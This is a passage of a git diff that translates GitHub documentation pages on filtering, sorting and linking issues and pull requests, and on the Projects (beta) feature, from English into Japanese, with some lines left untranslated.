+- まだ[レビュー](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)されていないプルリクエストのフィルタリング: `state:open type:pr review:none`
+- マージされる前に[レビューを必要とする](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)プルリクエストのフィルタリング: `state:open type:pr review:required`
+- レビュー担当者が承認したプルリクエストのフィルタリング: `state:open type:pr review:approved`
+- レビュー担当者が変更を要求したプルリクエストのフィルタリング: `state:open type:pr review:changes_requested`
+- [レビュー担当者](/articles/about-pull-request-reviews/)によるプルリクエストのフィルタリング: `state:open type:pr reviewed-by:octocat`
 - Filter pull requests by the specific user [requested for review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review): `state:open type:pr review-requested:octocat`{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
 - Filter pull requests that someone has asked you directly to review: `state:open type:pr user-review-requested:@me`{% endif %}
-- Filter pull requests by the team requested for review: `state:open type:pr team-review-requested:github/atom`{% ifversion fpt or ghes or ghae or ghec %}
-- Filter for pull requests that are linked to an issue that the pull request may close: `linked:issue`{% endif %}
+- レビューを要求されたチームによるプルリクエストのフィルタリング: `state:open type:pr team-review-requested:github/atom`{% ifversion fpt or ghes or ghae or ghec %}
+- プルリクエストでクローズできるIssueにリンクされているプルリクエストのフィルタリング: `linked:issue`{% endif %}
 
-## Sorting issues and pull requests
+## Issue およびプルリクエストをソートする
 
-Filters can be sorted to provide better information during a specific time period.
+フィルターは、特定の期間の情報をよりよく提供するためにソートできます。
 
-You can sort any filtered view by:
+これらのフィルタービューでソートできます。
 
-* The newest created issues or pull requests
-* The oldest created issues or pull requests
-* The most commented issues or pull requests
-* The least commented issues or pull requests
-* The newest updated issues or pull requests
-* The oldest updated issues or pull requests
+* 一番新しく作成された Issue またはプルリクエスト
+* 一番古くに作成された Issue またはプルリクエスト
+* 最もコメントされた Issue またはプルリクエスト
+* 最もコメントされていない Issue およびプルリクエスト
+* 一番新しく更新された Issue またはプルリクエスト
+* 一番古くに更新された Issue またはプルリクエスト
 * The most added reaction on issues or pull requests
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
-1. In the upper-right corner, select the Sort drop-down menu.
-  ![Using the Sort drop-down tab](/assets/images/help/issues/issues_sort_dropdown.png)
+1. 右上にあるソートドロップダウンメニューをクリックします。 ![ソートドロップダウンタブを使用する](/assets/images/help/issues/issues_sort_dropdown.png)
 
-To clear your sort selection, click **Sort** > **Newest**.
+ソートの選択を解除するには、[**Sort**] > [**Newest**] をクリックします。
 
 
-## Sharing filters
+## フィルターを共有する
 
-When you filter or sort issues and pull requests, your browser's URL is automatically updated to match the new view.
+一定の Issue およびプルリクエストをフィルタリングする場合、ブラウザの URL は、次の表示にマッチするように自動的に更新されます。
 
-You can send the URL that issues generates to any user, and they'll be able to see the same filter view that you see.
+Issue が生成した URL は、どのユーザにも送れます。そして、あなたが見ているフィルタビューと同じフィルタで表示できます。
 
-For example, if you filter on issues assigned to Hubot, and sort on the oldest open issues, your URL would update to something like the following:
+たとえば、Hubot にアサインされた Issue でフィルタリングし、最も古いオープン Issue でソートした場合、あなたの URL は、次のように更新されます:
 
 ```
 /issues?q=state:open+type:issue+assignee:hubot+sort:created-asc
 ```
 
-## Further reading
+## 参考リンク
 
 - "[Searching issues and pull requests](/articles/searching-issues)"
diff --git a/translations/ja-JP/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md b/translations/ja-JP/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
index 8eca5faf19..1f2446f0d0 100644
--- a/translations/ja-JP/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
+++ b/translations/ja-JP/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md
@@ -1,6 +1,6 @@
 ---
-title: Linking a pull request to an issue
-intro: You can link a pull request to an issue to show that a fix is in progress and to automatically close the issue when the pull request is merged.
+title: プルリクエストをIssueにリンクする
+intro: プルリクエストをIssueにリンクして、修正が進行中であることを示し、プルリクエストがマージされるときIssueを自動的にクローズすることができます。
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/linking-a-pull-request-to-an-issue
   - /articles/closing-issues-via-commit-message
@@ -16,25 +16,26 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Link PR to issue
+shortTitle: IssueへのPRのリンク
 ---
+
 {% note %}
 
-**Note:** The special keywords in a pull request description are interpreted when the pull request targets the repository's *default* branch. However, if the PR's base is *any other branch*, then these keywords are ignored, no links are created and merging the PR has no effect on the issues. **If you want to link a pull request to an issue using a keyword, the PR must be on the default branch.**
+**注釈:** プルリクエストにおける特別なキーワードは、プルリクエストがリポジトリの*デフォルト* ブランチをターゲットするときに解釈されます。 ただし、PRのベースが*それ以外のブランチ*である場合、それらのキーワードは無視され、リンクは作成されません。PRのマージはこのIssueに対して何の効果も持ちません。 **キーワードの1つを使用してプルリクエストをIssueにリンクしたい場合は、PRがデフォルトブランチ上になければなりません。**
 
 {% endnote %}
 
-## About linked issues and pull requests
+## リンクされたIssueとプルリクエストについて
 
-You can link an issue to a pull request {% ifversion fpt or ghes or ghae or ghec %}manually or {% endif %}using a supported keyword in the pull request description.
+{% ifversion fpt or ghes or ghae or ghec %}手動で、または{% endif %}プルリクエストの説明でサポートされているキーワードを使用して、Issueをプルリクエストにリンクすることができます。
 
-When you link a pull request to the issue the pull request addresses, collaborators can see that someone is working on the issue.
+プルリクエストが対処するIssueにそのプルリクエストにリンクすると、コラボレータは、誰かがそのIssueに取り組んでいることを確認できます。
 
-When you merge a linked pull request into the default branch of a repository, its linked issue is automatically closed. For more information about the default branch, see "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)."
+リンクされたプルリクエストをリポジトリのデフォルトブランチにマージすると、それにリンクされているIssueは自動的にクローズされます。 デフォルトブランチの詳細については、「[デフォルトブランチを変更する](/github/administering-a-repository/changing-the-default-branch)」を参照してください。
 
-## Linking a pull request to an issue using a keyword
+## キーワードを使用してプルリクエストをIssueにリンクする
 
-You can link a pull request to an issue by using a supported keyword in the pull request's description or in a commit message (please note that the pull request must be on the default branch).
+プルリクエストの説明で、またはコミットメッセージで、サポートされているキーワードを使用してプルリクエストにIssueにリンクすることができます (プルリクエストはデフォルトブランチになければなりません)。
 
 * close
 * closes
@@ -42,41 +43,39 @@ You can link a pull request to an issue by using a supported keyword in the pull
 * fix
 * fixes
 * fixed
-* resolve
+* 解決
 * resolves
 * resolved
 
 If you use a keyword to reference a pull request comment in another pull request, the pull requests will be linked. Merging the referencing pull request will also close the referenced pull request.
 
-The syntax for closing keywords depends on whether the issue is in the same repository as the pull request.
+クローズするキーワードの構文は、Issueがプルリクエストと同じリポジトリにあるかどうかによって異なります。
 
-Linked issue | Syntax | Example
---------------- | ------ | ------
-Issue in the same repository | *KEYWORD* #*ISSUE-NUMBER* | `Closes #10`
-Issue in a different repository | *KEYWORD* *OWNER*/*REPOSITORY*#*ISSUE-NUMBER* | `Fixes octo-org/octo-repo#100`
-Multiple issues | Use full syntax for each issue | `Resolves #10, resolves #123, resolves octo-org/octo-repo#100`
+| リンクするIssue       | 構文                                            | サンプル                                                           |
+| ---------------- | --------------------------------------------- | -------------------------------------------------------------- |
+| Issueが同じリポジトリにある | *KEYWORD* #*ISSUE-NUMBER*                     | `Closes #10`                                                   |
+| Issueが別のリポジトリにある | *KEYWORD* *OWNER*/*REPOSITORY*#*ISSUE-NUMBER* | `Fixes octo-org/octo-repo#100`                                 |
+| 複数の Issue        | Issueごとに完全な構文を使用                              | `Resolves #10, resolves #123, resolves octo-org/octo-repo#100` |
 
-{% ifversion fpt or ghes or ghae or ghec %}Only manually linked pull requests can be manually unlinked. To unlink an issue that you linked using a keyword, you must edit the pull request description to remove the keyword.{% endif %}
+{% ifversion fpt or ghes or ghae or ghec %}手動でリンクを解除できるのは、手動でリンクされたプルリクエストだけです。 キーワードを使用してリンクしたIssueのリンクを解除するには、プルリクエストの説明を編集してそのキーワードを削除する必要があります。{% endif %}
 
-You can also use closing keywords in a commit message. The issue will be closed when you merge the commit into the default branch, but the pull request that contains the commit will not be listed as a linked pull request.
+クローズするキーワードは、コミットメッセージでも使用できます。 デフォルトブランチにコミットをマージするとIssueはクローズされますが、そのコミットを含むプルリクエストは、リンクされたプルリクエストとしてリストされません。
 
 
 {% ifversion fpt or ghes or ghae or ghec %}
-## Manually linking a pull request to an issue
+## 手動でプルリクエストをIssueにリンクする
 
-Anyone with write permissions to a repository can manually link a pull request to an issue.
+リポジトリへの書き込み権限があるユーザなら誰でも、手動でプルリクエストをIssueにリンクできます。
 
-You can manually link up to ten issues to each pull request. The issue and pull request must be in the same repository.
+手動で1つのプルリクエストごとに最大10個のIssueをリンクできます。 Issueとプルリクエストは同じリポジトリになければなりません。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-3. In the list of pull requests, click the pull request that you'd like to link to an issue.
-4. In the right sidebar, click **Linked issues**.
-  ![Linked issues in the right sidebar](/assets/images/help/pull_requests/linked-issues.png)
-5. Click the issue you want to link to the pull request.
-  ![Drop down to link issue](/assets/images/help/pull_requests/link-issue-drop-down.png)
+3. プルリクエストのリストで、Issueにリンクしたいプルリクエストをクリックします。
+4. 右のサイドバーで、[**Linked issues**] をクリックします。 ![右サイドバーの [Linked issues]](/assets/images/help/pull_requests/linked-issues.png)
+5. プルリクエストにリンクするIssueをクリックします。 ![Issueをリンクするドロップダウン](/assets/images/help/pull_requests/link-issue-drop-down.png)
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Autolinked references and URLs](/articles/autolinked-references-and-urls/#issues-and-pull-requests)"
+- [自動リンクされた参照と URL](/articles/autolinked-references-and-urls/#issues-and-pull-requests)
diff --git a/translations/ja-JP/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md b/translations/ja-JP/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
index 2b86f06cd9..115cd4d317 100644
--- a/translations/ja-JP/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
+++ b/translations/ja-JP/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md
@@ -26,8 +26,6 @@ Issue でメンションされた人や Team は、Issue が新しいリポジ
 
 ## 他のリポジトリへオープン Issue を移譲する
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/creating-a-project.md b/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/creating-a-project.md
index c3e5acb974..0b01308703 100644
--- a/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/creating-a-project.md
+++ b/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/creating-a-project.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a project (beta)
-intro: 'Learn how to make a project, populate it, and add custom fields.'
+title: プロジェクト（ベータ）の作成
+intro: プロジェクトを作成し、展開し、カスタムフィールドを追加する方法を学んでください。
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -11,11 +11,11 @@ topics:
   - Projects
 ---
 
-Projects are a customizable collection of items that stay up-to-date with {% data variables.product.company_short %} data. Your projects can track issues, pull requests, and ideas that you jot down. You can add custom fields and create views for specific purposes.
+プロジェクトは、{% data variables.product.company_short %}のデータと最新の状況を保つアイテムのカスタマイズ可能なコレクションです。 プロジェクトでは、Issue、Pull Request、メモ書きできるアイデアを追跡できます。 カスタムフィールドを追加して、特定の目的のためのビューを作成できます。
 
 {% data reusables.projects.projects-beta %}
 
-## Creating a project
+## プロジェクトの作成
 
 ### Creating an organization project
 
@@ -25,41 +25,41 @@ Projects are a customizable collection of items that stay up-to-date with {% dat
 
 {% data reusables.projects.create-user-project %}
 
-## Adding items to your project
+## プロジェクトへのアイテムの追加
 
-Your project can track draft issues, issues, and pull requests.
+プロジェクトは、ドラフトのIssue、Issue、Pull Requestを追跡できます。
 
-### Creating draft issues
+### ドラフトIssueの作成
 
-Draft issues are useful to quickly capture ideas.
+ドラフトIssueは、素早くアイデアを捕捉するのに役立ちます。
 
-1. Place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}.
-2. Type your idea, then press **Enter**.
+1. カーソルをプロジェクトの最下行、{% octicon "plus" aria-label="plus icon" %}の隣に持ってきてください。
+2. アイデアを入力し、**Enter**を押してください。
 
 You can convert draft issues into issues. For more information, see [Converting draft issues to issues](#converting-draft-issues-to-issues).
 
-### Issues and pull requests
+### Issue およびプルリクエスト
 
-#### Paste the URL of an issue or pull request
+#### IssueあるいはPull RequestのURLの貼り付け
 
-1. Place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}.
-1. Paste the URL of the issue or pull request.
+1. カーソルをプロジェクトの最下行、{% octicon "plus" aria-label="plus icon" %}の隣に持ってきてください。
+1. IssueあるいはPull RequestのURLを貼り付けてください。
 
-#### Searching for an issue or pull request
+#### IssueあるいはPull Requestの検索
 
-1. Place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}.
-2. Enter `#`.
-3. Select the repository where the pull request or issue is located. You can type part of the repository name to narrow down your options.
-4. Select the issue or pull request. You can type part of the title to narrow down your options.
+1. カーソルをプロジェクトの最下行、{% octicon "plus" aria-label="plus icon" %}の隣に持ってきてください。
+2. `#`を入力してください。
+3. Pull RequestあるいはIssueがあるリポジトリを選択してください。 リポジトリ名の一部を入力して、選択肢を狭めることができます。
+4. IssueあるいはPull Requestを選択してください。 タイトルの一部を入力して、選択肢を狭めることができます。
 
-#### Assigning a project from within an issue or pull request
+#### IssueあるいはPull Requestの中からプロジェクトをアサインする
 
-1. Navigate to the issue or pull request that you want to add to a project.
-2. In the side bar, click **Projects**.
-3. Select the project that you want to add the issue or pull request to.
-4. Optionally, populate the custom fields.
+1. プロジェクトに追加したいIssueあるいはPull Requestにアクセスしてください。
+2. サイドバーで**Projects（プロジェクト）**をクリックしてください。
+3. IssueあるいはPull Requestを追加したいプロジェクトを選択してください。
+4. あるいは、カスタムフィールドに入力してください。
 
-   ![Project sidebar](/assets/images/help/issues/project_side_bar.png)
+   ![プロジェクトサイドバー](/assets/images/help/issues/project_side_bar.png)
 
 ## Converting draft issues to issues
 
@@ -93,27 +93,26 @@ You can restore archived items but not deleted items. For more information, see
 
 To restore an archived item, navigate to the issue or pull request. In the project side bar on the issue or pull request, click **Restore** for the project that you want to restore the item to. Draft issues cannot be restored.
 
-## Adding fields
+## フィールドの追加
 
-As field values change, they are automatically synced so that your project and the items that it tracks are up-to-date.
+フィールドの値が変更されると、プロジェクト及びプロジェクトが追跡するアイテムが最新の状態に保たれるよう、自動的に同期されます。
 
-### Showing existing fields
+### 既存のフィールドの表示
 
-Your project tracks up-to-date information about  issues and pull requests, including any changes to the title, assignees, labels, milestones, and repository. When your project initializes, "title" and "assignees" are displayed; the other fields are hidden. You can change the visibility of these fields in your project.
+プロジェクトは、タイトル、アサインされた人、ラベル、マイルストーン、リポジトリへのあらゆる変更を含め、IssueやPull Requestに関する最新の情報を追跡します。 プロジェクトが初期化された時点では、"title（タイトル）"と"assignees（アサインされた人）"が表示されます。他のフィールドは非表示になります。 プロジェクト内でのそれらのフィールドの可視性は変更できます。
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "show".
-3. Select the desired command (for example: "Show: Repository").
+2. "show"と入力を始めてください。
+3. 希望するコマンド（たとえば"Show: Repository"）を選択してください。
 
-Alternatively, you can do this in the UI:
+あるいは、これはUIから行うこともできます。
 
-1. Click {% octicon "plus" aria-label="the plus icon" %} in the rightmost field header. A drop-down menu with the project fields will appear.
-   ![Show or hide fields](/assets/images/help/issues/projects_fields_menu.png)
-2. Select the field(s) that you want to display or hide. A {% octicon "check" aria-label="check icon" %} indicates which fields are displayed.
+1. 右端のフィールドヘッダの{% octicon "plus" aria-label="the plus icon" %}をクリックしてください。 プロジェクトのフィールドのドロップダウンメニューが表示されます。 ![フィールドの表示もしくは非表示](/assets/images/help/issues/projects_fields_menu.png)
+2. 表示あるいは非表示にしたいフィールドを選択してください。 {% octicon "check" aria-label="check icon" %}は、表示されるフィールドを示します。
 
-### Adding custom fields
+### カスタムフィールドの追加
 
-You can add custom fields to your project. Custom fields will display on the side bar of issues and pull requests in the project.
+プロジェクトにカスタムフィールドを追加できます。 カスタムフィールドは、プロジェクトのIssueあるいはPull Requestのサイドバー上に表示されます。
 
 Custom fields can be text, number, date, single select, or iteration:
 
@@ -123,12 +122,11 @@ Custom fields can be text, number, date, single select, or iteration:
 - Single select: The value must be selected from a set of specified values.
 - Iteration: The value must be selected from a set of date ranges (iterations). Iterations in the past are automatically marked as "completed", and the iteration covering the current date range is marked as "current".
 
-1. {% data reusables.projects.open-command-palette %} Start typing any part of "Create new field". When "Create new field" displays in the command palette, select it.
-2. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} in the rightmost field header. A drop-down menu with the project fields will appear. Click **New field**.
-3. A popup will appear for you to enter information about the new field.
-   ![New field](/assets/images/help/issues/projects_new_field.png)
-4. In the text box, enter a name for the new field.
-5. Select the dropdown menu and click the desired type.
+1. {% data reusables.projects.open-command-palette %} "Create new field"のどこかを入力し始めてください。 コマンドパレットに"Create new field"が表示されたら、選択してください。
+2. あるいは、右端のフィールドヘッダの{% octicon "plus" aria-label="the plus icon" %}をクリックしてください。 プロジェクトのフィールドのドロップダウンメニューが表示されます。 **New field（新規フィールド）**をクリックしてください。
+3. 新しいフィールドに関する情報を入力するためのポップアップが表示されます。 ![新しいフィールド](/assets/images/help/issues/projects_new_field.png)
+4. テキストボックスに、新しいフィールドの名前を入力してください。
+5. ドロップダウンメニューを選択し、目的の種類をクリックしてください。
 6. If you specified **Single select** as the type, enter the options.
 7. If you specified **Iteration** as the type, enter the start date of the first iteration and the duration of the iteration. Three iterations are automatically created, and you can add additional iterations on the project's settings page.
 
@@ -141,7 +139,7 @@ You can later edit the drop down options for single select and iteration fields.
 
 ## Customizing your views
 
-You can view your project as a table or board, group items by field, filter item, and more. For more information, see "[Customizing your project (beta) views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
+プロジェクトは、テーブルあるいはボードとしてみることができ、フィールドでのアイテムのグループ化、アイテムのフィルタリングなどができます。 詳しい情報については「[プロジェクト（ベータ）のビューのカスタマイズ](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)」を参照してください。
 
 ## Configuring built-in automation
 
diff --git a/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md b/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md
index 4b879741b9..e14bc8ca1c 100644
--- a/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md
+++ b/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md
@@ -1,6 +1,6 @@
 ---
-title: Customizing your project (beta) views
-intro: 'Display the information you need by changing the layout, grouping, sorting, and filters in your project.'
+title: プロジェクト（ベータ）のビューのカスタマイズ
+intro: プロジェクトのレイアウト、グループ化、ソート、フィルタを変更して、必要な情報を表示させてください。
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -17,14 +17,14 @@ topics:
 Use the project command palette to quickly change settings and run commands in your project.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing any part of a command or navigate through the command palette window to find a command. See the next sections for more examples of commands.
+2. コマンドの一部を入力し始めるか、コマンドパレットウィンドウをナビゲートしてコマンドを見つけてください。 さらなるコマンドの例については、次のセクションを参照してください。
 
 ## Changing the project layout
 
-You can view your project as a table or as a board.
+プロジェクトを、テーブルまたはボードとして見ることができます。
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Switch layout".
+2. "Switch layout"と入力し始めてください。
 3. Choose the required command. For example, **Switch layout: Table**.
 3. Alternatively, click the drop-down menu next to a view name and click **Table** or **Board**.
 
@@ -35,9 +35,9 @@ You can show or hide a specific field.
 In table layout:
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing the action you want to take ("show" or "hide") or the name of the field.
+2. 行いたいアクション（"show"もしくは"hide"）もしくはフィールド名を入力し始めてください。
 3. Choose the required command. For example, **Show: Milestone**.
-4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} to the right of the table. In the drop-down menu that appears, indicate which fields to show or hide. A {% octicon "check" aria-label="check icon" %} indicates which fields are displayed.
+4. あるいは、表の右の{% octicon "plus" aria-label="the plus icon" %}をクリックしてください。 表示されるドロップダウンメニューで、表示または非表示にするフィールドを指定してください。 {% octicon "check" aria-label="check icon" %}は、表示されるフィールドを示します。
 5. Alternatively, click the drop-down menu next to the field name and click **Hide field**.
 
 In board layout:
@@ -48,43 +48,43 @@ In board layout:
 
 ## Reordering fields
 
-You can change the order of fields.
+フィールドの順序を変えることができます。
 
-1. Click the field header.
+1. フィールドのヘッダをクリックしてください。
 2. While clicking, drag the field to the required location.
 
 ## Reordering rows
 
-In table layout, you can change the order of rows.
+テーブルレイアウトでは、行の順序を変更できます。
 
-1. Click the number at the start of the row.
+1. 行の先頭にある数字をクリックしてください。
 2. While clicking, drag the row to the required location.
 
 ## Sorting by field values
 
-In table layout, you can sort items by a field value.
+テーブルレイアウトでは、フィールドの値でアイテムをソートできます。
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Sort by" or the name of the field you want to sort by.
+2. "Sort by"あるいはソートの基準にしたいフィールド名を入力し始めてください。
 3. Choose the required command. For example, **Sort by: Assignees, asc**.
 4. Alternatively, click the drop-down menu next to the field name that you want to sort by and click **Sort ascending** or **Sort descending**.
 
 {% note %}
 
-**Note:** When a table is sorted, you cannot manually reorder rows.
+**ノート:** テーブルがソートされると、手動で行を並び替えることはできなくなります。
 
 {% endnote %}
 
-Follow similar steps to remove a sort.
+ソートを解除するには、同じようなステップに従ってください。
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Remove sort-by".
+2. "Remove sort-by"と入力し始めてください。
 3. Choose **Remove sort-by**.
 4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current sort.
 
 ## Grouping by field values
 
-In the table layout, you can group items by a custom field value. When items are grouped, if you drag an item to a new group, the value of that group is applied. For example, if you group by "Status" and then drag an item with a status of `In progress` to the `Done` group, the status of the item will switch to `Done`.
+In the table layout, you can group items by a custom field value. アイテムがグループ化されると、アイテムを新しいグループにドラッグした場合、そのグループの値が適用されます。 For example, if you group by "Status" and then drag an item with a status of `In progress` to the `Done` group, the status of the item will switch to `Done`.
 
 {% note %}
 
@@ -93,31 +93,31 @@ In the table layout, you can group items by a custom field value. When items are
 {% endnote %}
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Group by" or the name of the field you want to group by.
+2. "Group by" あるいはグループ化に使いたいフィールド名を入力し始めてください。
 3. Choose the required command. For example, **Group by: Status**.
 4. Alternatively, click the drop-down menu next to the field name that you want to group by and click **Group by values**.
 
-Follow similar steps to remove a grouping.
+グループを削除するには、同じようなステップに従ってください。
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Remove group-by".
+2. "Remove group-by"と入力し始めてください。
 3. Choose **Remove group-by**.
 4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current grouping.
 
 ## Filtering rows
 
-Click {% octicon "search" aria-label="the search icon" %} at the top of the table to show the "Filter by keyword or field" bar. Start typing the field name and value that you want to filter by. As you type, possible values will appear.
+Click {% octicon "search" aria-label="the search icon" %} at the top of the table to show the "Filter by keyword or field" bar. Start typing the field name and value that you want to filter by. 入力していくと、利用できる値が表示されます。
 
 - To filter for multiple values, separate the values with a comma. For example `label:"good first issue",bug` will list all issues with a label `good first issue` or `bug`.
 - To filter for the absence of a specific value, place `-` before your filter. For example, `-label:"bug"` will only show items that do not have the label `bug`.
 - To filter for the absence of all values, enter `no:` followed by the field name. For example, `no:assignee` will only show items that do not have an assignee.
 - To filter by state, enter `is:`. For example, `is: issue` or `is:open`.
-- Separate multiple filters with a space. For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee.
+- 複数のフィルタは空白で区切ってください。 For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee.
 
 Alternatively, use the command palette.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Filter by" or the name of the field you want to filter by.
+2. Filter by"あるいはフィルタリングに使いたいフィールド名を入力し始めてください。
 3. Choose the required command. For example, **Filter by Status**.
 4. Enter the value that you want to filter for. For example: "In progress". You can also filter for the absence of specific values (for example, choose "Exclude status" then choose a status) or the absence of all values (for example, "No status").
 
@@ -125,7 +125,7 @@ In board layout, you can click on item data to filter for items with that value.
 
 ## Creating a project view
 
-Project views allow you to quickly view specific aspects of your project. Each view is displayed on a separate tab in your project. 
+Project views allow you to quickly view specific aspects of your project. Each view is displayed on a separate tab in your project.
 
 For example, you can have:
 - A view that shows all items not yet started (filter on "Status").
@@ -135,24 +135,24 @@ For example, you can have:
 To add a new view:
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "New view" (to create a new view) or "Duplicate view" (to duplicate the current view).
+2. "New view"（新しいビューを作成する場合）あるいは"Duplicate view"（現在のビューを複製する場合）と入力し始めます。
 3. Choose the required command.
-4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} **New view** next to the rightmost view.
+4. あるいは、最も右側のビューの隣にある{% octicon "plus" aria-label="the plus icon" %} **New view（新しいビュー）**をクリックしてください。
 5. Alternatively, click the drop-down menu next to a view name and click **Duplicate view**.
 
 The new view is automatically saved.
 
 ## Saving changes to a view
 
-When you make changes to a view - for example, sorting, reordering, filtering, or grouping the data in a view - a dot is displayed next to the view name to indicate that there are unsaved changes. 
+When you make changes to a view - for example, sorting, reordering, filtering, or grouping the data in a view - a dot is displayed next to the view name to indicate that there are unsaved changes.
 
 ![Unsaved changes indicator](/assets/images/help/projects/unsaved-changes.png)
 
-If you don't want to save the changes, you can ignore this indicator. No one else will see your changes.
+変更を保存したくなければ、この表示は無視してかまいません。 No one else will see your changes.
 
 To save the current configuration of the view for all project members:
 1. {% data reusables.projects.open-command-palette %}
-1. Start typing "Save view" or "Save changes to new view".
+1. "Save view"あるいは"Save changes to new view"と入力し始めてください。
 1. Choose the required command.
 1. Alternatively, click the drop-down menu next to a view name and click **Save view** or **Save changes to new view**.
 
@@ -173,13 +173,13 @@ The name change is automatically saved.
 
 ## Deleting a saved view
 
-To delete a view:
+ビューを削除するには以下のようにしてください。
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Delete view".
+2. "Delete view"と入力し始めてください。
 3. Choose the required command.
 4. Alternatively, click the drop-down menu next to a view name and click **Delete view**.
 
-## Further reading
+## 参考リンク
 
 - "[About projects (beta)](/issues/trying-out-the-new-projects-experience/about-projects)"
 - "[Creating a project (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project)"
diff --git a/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md b/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md
index 0e92893d8d..3f859db90e 100644
--- a/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md
+++ b/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md
@@ -37,7 +37,7 @@ The default base role is `write`, meaning that everyone in the organization can
 
 ### Managing access for teams and individual members of your organization
 
-You can also add teams, and individual organization members, as collaborators. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+You can also add teams, and individual organization members, as collaborators. 詳細は「[Team について](/organizations/organizing-members-into-teams/about-teams)」を参照してください。
 
 You can only invite an individual user to collaborate on your organization-level project if they are a member of the organization.
 
diff --git a/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md b/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
index 4b00391366..604242b053 100644
--- a/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
+++ b/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
@@ -1,6 +1,6 @@
 ---
-title: Using the API to manage projects (beta)
-intro: You can use the GraphQL API to find information about projects and to update projects.
+title: APIを使ったプロジェクト（ベータ）の管理
+intro: GraphQL APIを使って、プロジェクトに関する情報を見つけたり、プロジェクトを更新したりできます。
 versions:
   fpt: '*'
   ghec: '*'
@@ -11,17 +11,15 @@ topics:
   - Projects
 ---
 
-This article demonstrates how to use the GraphQL API to manage a project. For more information about how to use the API in a {% data variables.product.prodname_actions %} workflow, see "[Automating projects (beta)](/issues/trying-out-the-new-projects-experience/automating-projects)." For a full list of the available data types, see "[Reference](/graphql/reference)."
+この記事では、GraphQL API を使用してプロジェクトを管理する方法を説明します。 For more information about how to use the API in a {% data variables.product.prodname_actions %} workflow, see "[Automating projects (beta)](/issues/trying-out-the-new-projects-experience/automating-projects)." For a full list of the available data types, see "[Reference](/graphql/reference)."
 
 {% data reusables.projects.projects-beta %}
 
-## Authentication
-
-{% include tool-switcher %}
+## 認証
 
 {% curl %}
 
